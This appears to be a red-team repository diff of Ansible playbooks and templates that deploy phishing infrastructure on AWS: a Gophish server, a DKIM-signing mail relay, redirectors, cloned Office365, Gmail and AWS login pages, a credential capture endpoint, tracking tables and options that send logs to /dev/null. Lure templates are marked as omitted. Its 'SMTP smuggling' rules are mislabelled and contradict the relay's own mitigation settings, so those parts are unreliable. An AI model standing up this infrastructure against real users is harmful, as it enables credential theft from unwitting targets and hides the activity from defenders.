- name: Configure OpenDKIM for email authentication
template:
src: "../templates/opendkim-phishing.conf.j2"
dest: "/etc/opendkim.conf"
backup: yes
notify: restart opendkim
- name: Create DKIM keys directory
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}"
state: directory
owner: opendkim
group: opendkim
mode: '0700'
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
-d {{ phishing_domain }} -s phishing
args:
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
- name: Set DKIM key permissions
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
owner: opendkim
group: opendkim
mode: '0600'
- name: Create phishing landing page templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
- name: Create credential capture API
template:
src: "../templates/credential-capture-api.php.j2"
dest: "/var/www/phishing/api/capture.php"
mode: '0644'
owner: www-data
group: www-data
- name: Create tracking pixel endpoint
template:
src: "../templates/tracking-pixel.php.j2"
dest: "/var/www/phishing/track.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure Nginx for phishing sites
template:
src: "../templates/nginx-phishing.conf.j2"
dest: "/etc/nginx/sites-available/phishing"
mode: '0644'
notify: reload nginx
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
notify: reload nginx
- name: Create phishing campaign management scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
- name: Create database for tracking
shell: |
sqlite3 /root/Tools/phishing/tracking.db << EOF
CREATE TABLE IF NOT EXISTS email_opens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS link_clicks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
link_url TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS credential_submissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT,
username TEXT,
password_hash TEXT,
ip_address TEXT,
user_agent TEXT,
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT,
additional_data TEXT
);
CREATE TABLE IF NOT EXISTS campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
template TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active',
target_count INTEGER DEFAULT 0,
opened_count INTEGER DEFAULT 0,
clicked_count INTEGER DEFAULT 0,
submitted_count INTEGER DEFAULT 0
);
EOF
args:
creates: /root/Tools/phishing/tracking.db
- name: Set database permissions
file:
path: /root/Tools/phishing/tracking.db
owner: www-data
group: www-data
mode: '0644'
- name: Install Python dependencies for advanced features
pip:
name:
- requests
- beautifulsoup4
- lxml
- flask
- flask-cors
- dnspython
- python-whois
- selenium
- fake-useragent
state: present
- name: Create SSL certificate setup script
template:
src: "../templates/setup-phishing-ssl.sh.j2"
dest: "/root/Tools/phishing/setup-ssl.sh"
mode: '0755'
owner: root
group: root
- name: Create domain reputation checker
template:
src: "../templates/domain-reputation.py.j2"
dest: "/root/Tools/phishing/check-reputation.py"
mode: '0755'
owner: root
group: root
- name: Start and enable services
systemd:
name: "{{ item }}"
state: started
enabled: yes
daemon_reload: yes
with_items:
- postfix
- opendkim
- nginx
- php7.4-fpm
- gophish
handlers:
- name: restart postfix
systemd:
name: postfix
state: restarted
- name: restart opendkim
systemd:
name: opendkim
state: restarted
- name: reload nginx
systemd:
name: nginx
state: reloaded
@@ -0,0 +1,42 @@
{
"admin_server": {
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
"use_tls": false,
"cert_path": "",
"key_path": ""
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"logging": {
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
},
"webhook": {
"enabled": {{ enable_webhooks | default(false) | lower }},
"url": "{{ webhook_url | default('') }}",
"secret": "{{ webhook_secret | default('') }}"
},
"email": {
"smtp": {
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
"port": 25,
"use_auth": true,
"username": "{{ smtp_auth_user }}",
"password": "{{ smtp_auth_pass }}",
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"ignore_cert_errors": true
},
"imap": {
"enabled": false
}
}
}
@@ -0,0 +1,23 @@
{
"admin_server": {
"listen_url": "0.0.0.0:{{ gophish_admin_port }}",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:8081",
"use_tls": false,
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
@@ -0,0 +1,22 @@
# modules/phishing/gophish/templates/gophish-opsec.yaotl.j2
gophish:
admin_server:
# Only listen on localhost
listen_url: "127.0.0.1:{{ gophish_admin_port }}"
# Use client certificates
use_tls: true
tls_cert: "/opt/gophish/admin-cert.pem"
tls_key: "/opt/gophish/admin-key.pem"
client_ca: "/opt/gophish/client-ca.pem"
phish_server:
# Behind nginx, no direct exposure
listen_url: "127.0.0.1:{{ gophish_phish_port }}"
# Custom modifications
modifications:
- remove_default_headers: true
- randomize_endpoints: true
- custom_tracking_pixel: true
- encrypted_storage: true
- auto_purge_days: 7
+51
View File
@@ -0,0 +1,51 @@
---
# Advanced Gophish server deployment with enhanced features
- name: Deploy Gophish server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}"
gophish_region: "{{ gophish_region | default(aws_region) }}"
tasks:
- name: Create Gophish instance
include_tasks: "../../providers/AWS/tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ gophish_instance_type }}"
region: "{{ gophish_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" }
- { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" }
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
- name: Add Gophish to inventory
add_host:
name: "gophish_server"
groups: "gophish_servers"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure Gophish server
hosts: gophish_servers
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include advanced Gophish configuration
include_tasks: "gophish/tasks/configure_gophish_advanced.yml"
- name: Include security hardening
include_tasks: "../../common/tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../../c2/tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
@@ -0,0 +1,151 @@
---
# Configure MTA Front server for email relay and SMTP smuggling
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install MTA packages
apt:
name:
- postfix
- postfix-pcre
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- python3-pip
- python3-venv
- nginx
- certbot
- python3-certbot-nginx
- dnsutils
- swaks
- telnet
state: present
- name: Configure Postfix for MTA fronting
template:
src: "../templates/phishing/postfix-mta-front.j2"
dest: /etc/postfix/main.cf
backup: yes
notify: restart postfix
- name: Configure Postfix master.cf for advanced relaying
blockinfile:
path: /etc/postfix/master.cf
block: |
# SMTP smuggling and advanced relay configurations
587 inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_tls_wrappermode=no
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-o milter_macro_daemon_name=ORIGINATING
# SMTP smuggling support
cleanup unix n - y - 0 cleanup
-o header_checks=pcre:/etc/postfix/header_checks
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
- name: Create SMTP smuggling header checks
copy:
dest: /etc/postfix/header_checks
content: |
# SMTP smuggling techniques
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
mode: '0644'
notify:
- reload postfix
- postmap header_checks
- name: Create nested header checks for advanced smuggling
copy:
dest: /etc/postfix/nested_header_checks
content: |
# Advanced SMTP smuggling patterns
/^\s*<script/i IGNORE
/^\s*<iframe/i IGNORE
mode: '0644'
notify:
- reload postfix
- postmap nested_header_checks
- name: Configure DKIM for domain reputation
include_tasks: ../tasks/configure_mail.yml
- name: Create relay authentication
copy:
dest: /etc/postfix/sasl_passwd
content: |
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
mode: '0600'
owner: root
group: root
notify:
- postmap sasl_passwd
- restart postfix
- name: Configure transport maps for backend routing
copy:
dest: /etc/postfix/transport
content: |
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
mode: '0644'
notify:
- postmap transport
- restart postfix
- name: Install Python SMTP testing tools
pip:
name:
- smtplib-extended
- email-validator
- faker
state: present
- name: Create SMTP smuggling test script
template:
src: "../templates/phishing/smtp-smuggling-test.py.j2"
dest: /root/Tools/smtp-smuggling-test.py
mode: '0755'
- name: Create email reputation monitoring script
template:
src: "../templates/phishing/reputation-monitor.sh.j2"
dest: /root/Tools/reputation-monitor.sh
mode: '0755'
- name: Set up log monitoring for deliverability
cron:
name: "Monitor email deliverability"
minute: "*/15"
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
handlers:
- name: restart postfix
service:
name: postfix
state: restarted
- name: reload postfix
service:
name: postfix
state: reloaded
- name: postmap header_checks
command: postmap /etc/postfix/header_checks
- name: postmap nested_header_checks
command: postmap /etc/postfix/nested_header_checks
- name: postmap sasl_passwd
command: postmap /etc/postfix/sasl_passwd
- name: postmap transport
command: postmap /etc/postfix/transport
@@ -0,0 +1,71 @@
# Postfix MTA Front Configuration for Phishing Infrastructure
# This server acts as the front-end mail relay
# Basic settings
myhostname = {{ mta_hostname | default('mail.' + domain) }}
mydomain = {{ domain }}
myorigin = $mydomain
mydestination = $myhostname, localhost
inet_interfaces = all
inet_protocols = ipv4
# Network settings
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
relay_domains = $mydestination
# SMTP smuggling mitigation
smtpd_forbid_bare_newline = yes
smtpd_forbid_bare_newline_reject_code = 550
# TLS Configuration
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
smtpd_use_tls = yes
smtpd_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_security_level = may
# SASL Authentication
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_authenticated_header = yes
# Restrictions
smtpd_helo_required = yes
smtpd_recipient_restrictions =
permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
reject_unauth_pipelining,
reject_invalid_helo_hostname,
reject_non_fqdn_helo_hostname
# Rate limiting
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
# Message size and queue settings
message_size_limit = {{ max_message_size | default(10240000) }}
mailbox_size_limit = 0
queue_lifetime = 1h
maximal_queue_lifetime = 1h
bounce_queue_lifetime = 0
# Header modifications
header_checks = regexp:/etc/postfix/header_checks
# DKIM signing
milter_default_action = accept
milter_protocol = 6
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
# Logging
{% if zero_logs | default(true) %}
# Zero-logs configuration
syslog_facility = local0
syslog_name =
maillog_file = /dev/null
{% endif %}
+51
View File
@@ -0,0 +1,51 @@
---
# MTA Front server deployment for email relay and SMTP smuggling
- name: Deploy MTA Front server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
mta_instance_type: "{{ mta_instance_type | default('t3.medium') }}"
mta_region: "{{ mta_region | default(aws_region) }}"
tasks:
- name: Create MTA Front instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ mta_instance_type }}"
region: "{{ mta_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 25, cidr: "0.0.0.0/0", desc: "SMTP from anywhere" }
- { proto: tcp, port: 587, cidr: "0.0.0.0/0", desc: "SMTP submission" }
- { proto: tcp, port: 465, cidr: "0.0.0.0/0", desc: "SMTPS" }
- name: Add MTA Front to inventory
add_host:
name: "mta_front"
groups: "mta_fronts"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure MTA Front server
hosts: mta_fronts
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include MTA Front configuration
include_tasks: "../tasks/configure_mta_front.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
+46
View File
@@ -0,0 +1,46 @@
---
# Phishing redirector deployment with advanced evasion
- name: Deploy phishing redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
redirector_instance_type: "{{ redirector_instance_type | default('t3.small') }}"
redirector_region: "{{ redirector_region | default(aws_region) }}"
tasks:
- name: Create phishing redirector instance
include_tasks: "../../providers/AWS/tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ redirector_instance_type }}"
region: "{{ redirector_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 80, cidr: "0.0.0.0/0", desc: "HTTP from anywhere" }
- { proto: tcp, port: 443, cidr: "0.0.0.0/0", desc: "HTTPS from anywhere" }
- name: Add phishing redirector to inventory
add_host:
name: "phishing_redirector"
groups: "phishing_redirectors"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure phishing redirector
hosts: phishing_redirectors
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include phishing redirector configuration
include_tasks: "../redirectors/templates/configure_phishing_redirector.yml"
- name: Include security hardening
include_tasks: "../../common/tasks/security_hardening.yml"
+50
View File
@@ -0,0 +1,50 @@
---
# Phishing web server for credential harvesting
- name: Deploy phishing web server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
webserver_instance_type: "{{ webserver_instance_type | default('t3.medium') }}"
webserver_region: "{{ webserver_region | default(aws_region) }}"
tasks:
- name: Create phishing web server instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ webserver_instance_type }}"
region: "{{ webserver_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
- { proto: tcp, port: 443, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTPS from redirector" }
- name: Add phishing web server to inventory
add_host:
name: "phishing_webserver"
groups: "phishing_webservers"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure phishing web server
hosts: phishing_webservers
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include phishing web server configuration
include_tasks: "../tasks/configure_phishing_webserver.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
@@ -0,0 +1,111 @@
---
# FedRAMP compliance configuration for user awareness testing
- name: Create FedRAMP compliant landing pages
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
- { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
- { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
- name: Create FedRAMP compliant email templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
- { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
- name: Configure anonymized reporting
template:
src: "../templates/fedramp-reporting.py.j2"
dest: "/root/Tools/phishing/fedramp-reporting.py"
mode: '0755'
owner: root
group: root
- name: Create role-based tracking system
template:
src: "../templates/role-tracking.py.j2"
dest: "/root/Tools/phishing/role-tracking.py"
mode: '0755'
owner: root
group: root
- name: Set up immediate phish identification
template:
src: "../templates/immediate-identification.js.j2"
dest: "/var/www/phishing/assets/immediate-identification.js"
mode: '0644'
owner: www-data
group: www-data
- name: Create educational content delivery system
template:
src: "../templates/education-delivery.php.j2"
dest: "/var/www/phishing/api/education.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure compliance database schema
shell: |
sqlite3 /root/Tools/phishing/compliance.db << EOF
CREATE TABLE IF NOT EXISTS fedramp_campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
csp_organization TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active'
);
CREATE TABLE IF NOT EXISTS role_interactions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
user_role TEXT NOT NULL,
interaction_type TEXT NOT NULL,
interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
education_completed BOOLEAN DEFAULT FALSE
);
CREATE TABLE IF NOT EXISTS compliance_metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
metric_type TEXT NOT NULL,
metric_value INTEGER NOT NULL,
recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
EOF
args:
creates: /root/Tools/phishing/compliance.db
- name: Set database permissions for compliance
file:
path: /root/Tools/phishing/compliance.db
owner: www-data
group: www-data
mode: '0644'
- name: Create compliance report generator
template:
src: "../templates/compliance-report-generator.py.j2"
dest: "/root/Tools/phishing/generate-compliance-report.py"
mode: '0755'
owner: root
group: root
- name: Configure email allowlisting instructions
template:
src: "../templates/allowlist-instructions.md.j2"
dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
mode: '0644'
owner: root
group: root
@@ -0,0 +1,8 @@
{# OMITTED — file_share phishing email template #}
{#
Jinja2 email template for the file_share lure scenario. Rendered at deploy
time with target organization name, sender domain, and tracking pixel URL
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,8 @@
{# OMITTED — office365_login phishing email template #}
{#
Jinja2 email template for the office365_login lure scenario. Rendered at deploy
time with target organization name, sender domain, and tracking pixel URL
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,8 @@
{# OMITTED — password_expiry phishing email template #}
{#
Jinja2 email template for the password_expiry lure scenario. Rendered at deploy
time with target organization name, sender domain, and tracking pixel URL
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,8 @@
{# OMITTED — security_alert phishing email template #}
{#
Jinja2 email template for the security_alert lure scenario. Rendered at deploy
time with target organization name, sender domain, and tracking pixel URL
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,8 @@
{# OMITTED — trellix-sub phishing email template #}
{#
Jinja2 email template for the trellix-sub lure scenario. Rendered at deploy
time with target organization name, sender domain, and tracking pixel URL
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,5 @@
{# OMITTED — FedRAMP compliance lure template #}
{#
Phishing page styled to mimic a FedRAMP compliance portal. Used in
engagements targeting federal contractors. Omitted from public release.
#}
@@ -0,0 +1,69 @@
{
"deployment_id": "{{ deployment_id }}",
"deployment_time": "{{ ansible_date_time.iso8601 }}",
"provider": "{{ provider }}",
"region": "{{ aws_region | default(linode_region) | default('') }}",
"infrastructure": {
"mta_front": {
"name": "{{ mta_front_name | default('mta-' + deployment_id) }}",
"ip": "{{ mta_front_ip | default('') }}",
"instance_id": "{{ mta_instance_id | default('') }}"
},
"gophish_server": {
"name": "{{ gophish_server_name | default('gophish-' + deployment_id) }}",
"ip": "{{ gophish_server_ip | default('') }}",
"instance_id": "{{ gophish_instance_id | default('') }}",
"admin_port": "{{ gophish_admin_port | default('8090') }}"
},
"phishing_webserver": {
"name": "{{ phishing_web_name | default('web-' + deployment_id) }}",
"ip": "{{ phishing_web_ip | default('') }}",
"instance_id": "{{ phishing_web_instance_id | default('') }}"
},
"phishing_redirector": {
"name": "{{ phishing_redirector_name | default('redirector-' + deployment_id) }}",
"ip": "{{ phishing_redirector_ip | default('') }}",
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
},
{% if deploy_payload_infra | default(false) %}
"payload_server": {
"name": "{{ payload_server_name | default('payload-' + deployment_id) }}",
"ip": "{{ payload_server_ip | default('') }}",
"instance_id": "{{ payload_server_instance_id | default('') }}"
},
"payload_redirector": {
"name": "{{ payload_redirector_name | default('payload-redir-' + deployment_id) }}",
"ip": "{{ payload_redirector_ip | default('') }}",
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
},
{% endif %}
},
"domains": {
"phishing_domain": "{{ phishing_domain | default('N/A') }}",
"mta_domain": "{{ mta_hostname | default('mail.' + (phishing_domain | default('example.com'))) }}",
{% if deploy_payload_infra | default(false) %}
"payload_domain": "{{ payload_subdomain | default('payload') }}.{{ phishing_domain | default('example.com') }}",
{% endif %}
},
"credentials": {
"gophish_url": "https://{{ gophish_server_ip | default('TBD') }}:{{ gophish_admin_port | default('8090') }}",
"smtp_auth_user": "{{ smtp_auth_user | default('admin') }}",
"smtp_settings": {
"host": "{{ mta_front_ip | default('TBD') }}",
"port": 25,
"from_address": "{{ smtp_from_address | default('noreply@' + (phishing_domain | default('example.com'))) }}"
}
},
"security_groups": {
{% if provider == 'aws' %}
"mta_sg": "{{ mta_security_group_id | default('') }}",
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
"web_sg": "{{ web_security_group_id | default('') }}",
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
{% endif %}
}
}
@@ -0,0 +1,85 @@
---
# Configure phishing web server with landing pages and credential capture
- name: Install required packages
apt:
name:
- nginx
- php-fpm
- php-json
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create web directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/phishing
- /var/www/phishing/templates
- /var/www/phishing/static
- /var/www/phishing/captures
- /var/private/phishing_creds
- name: Deploy phishing templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
loop:
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
- name: Deploy credential capture script
template:
src: "../templates/phishing/capture.php.j2"
dest: "/var/www/phishing/capture.php"
mode: '0640'
owner: www-data
group: www-data
- name: Configure NGINX for phishing sites
template:
src: "../templates/phishing/nginx-phishing-webserver.j2"
dest: /etc/nginx/sites-available/phishing
mode: '0644'
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
- name: Configure PHP-FPM for security
lineinfile:
path: /etc/php/7.4/fpm/php.ini
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
loop:
- { regexp: '^expose_php', line: 'expose_php = Off' }
- { regexp: '^display_errors', line: 'display_errors = Off' }
- { regexp: '^log_errors', line: 'log_errors = On' }
- name: Restart services
systemd:
name: "{{ item }}"
state: restarted
enabled: yes
loop:
- nginx
- php7.4-fpm
@@ -0,0 +1,183 @@
---
# Configure security groups and firewall rules for phishing infrastructure
- name: Configure MTA Front security
block:
- name: Create MTA Front security group
amazon.aws.ec2_security_group:
name: "mta-front-{{ deployment_id }}"
description: "Security group for MTA Front server"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# SMTP services - public facing
- proto: tcp
ports: 25
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP from anywhere"
- proto: tcp
ports: 587
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP submission"
- proto: tcp
ports: 465
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTPS"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.mta_front | default(false) | bool
- name: Configure Gophish security (hidden backend)
block:
- name: Create Gophish security group
amazon.aws.ec2_security_group:
name: "gophish-{{ deployment_id }}"
description: "Security group for Gophish server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
- proto: tcp
ports: 3333
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "Gophish admin interface"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 25
cidr_ip: "{{ mta_front_ip }}/32"
rule_desc: "SMTP from MTA front"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.gophish | default(false) | bool
- name: Configure Phishing Redirector security (public facing)
block:
- name: Create Phishing Redirector security group
amazon.aws.ec2_security_group:
name: "phish-redirector-{{ deployment_id }}"
description: "Security group for Phishing Redirector"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Public web access
- proto: tcp
ports: 80
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTP from anywhere"
- proto: tcp
ports: 443
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTPS from anywhere"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_redirector | default(false) | bool
